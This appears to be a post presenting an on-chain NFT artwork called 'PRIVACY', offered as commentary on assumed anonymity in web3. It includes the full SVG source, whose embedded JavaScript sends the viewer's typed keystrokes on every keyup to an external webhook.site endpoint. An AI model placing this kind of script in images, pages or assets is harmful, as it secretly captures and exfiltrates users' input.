"PRIVACY"

WEAONIZEDNONFUNGIBLETOKENS[02]


"PRIVACY" is an interactive onchain NFT artwork that trustlessly surveils and logs each keystroke and IP address of its observers to an external web2 server.

It ironically challenges the concept of "privacy" in cryptographic systems, acting as a stark commentary on the intersection of art, blockchain technology, and assumed anonymity in web3.

<svg width="100%" height="100%" xmlns="http://www.w3.org/2000/svg">
    <style>
      @keyframes blink {
        0%, 100% { opacity: 1; }
        50% { opacity: 0; }
      }
      #cursor {
        animation: blink 1s step-start 0s infinite;
      }
    </style>
    <rect width="100%" height="100%" fill="black" />
    <text id="mainText" x="50%" y="50%" font-family="Helvetica" font-size="50" fill="white" text-anchor="middle">"PRIVACY"<tspan id="cursor">|</tspan></text>
    
    <script type="text/ecmascript">
    <![CDATA[
      document.addEventListener('DOMContentLoaded', (event) => {
        var mainText = document.getElementById('mainText');
        var cursor = document.getElementById('cursor');
        const maxChars = 65;

        function updateTextPosition() {
          mainText.setAttribute('x', `50%`);
        }

        function sendDataToServer(data) {
          var xhr = new XMLHttpRequest();
          xhr.open("POST", "https://webhook.site/764da31a-c23c-44b1-9645-41e363eac263", true);
          xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
          xhr.send("data=" + encodeURIComponent(data));
        }

        function updateText(key) {
          let currentText = mainText.textContent.replace('|', '');
          if (/^[a-zA-Z0-9]$/.test(key) || key === ' ') {
            if (currentText.length < maxChars || key === 'Backspace') {
              currentText += key === ' ' ? ' ' : key;
            }
          } else if (key === "Backspace" && currentText.length > 0) {
            currentText = currentText.slice(0, -1);
          }
          mainText.textContent = currentText;
          mainText.appendChild(cursor);
          updateTextPosition();
          sendDataToServer(currentText);
        }

        document.addEventListener('keyup', (e) => {
          updateText(e.key);
        });

        updateTextPosition();
      });
    ]]>
    </script>
</svg>



CA: 0x1af20E5581f8c43Df1De37C67c6b1a1872e42042

Loading...
highlight
Collect this post to permanently own it.
Subscribe to bushi and never miss a post.
  • Loading comments...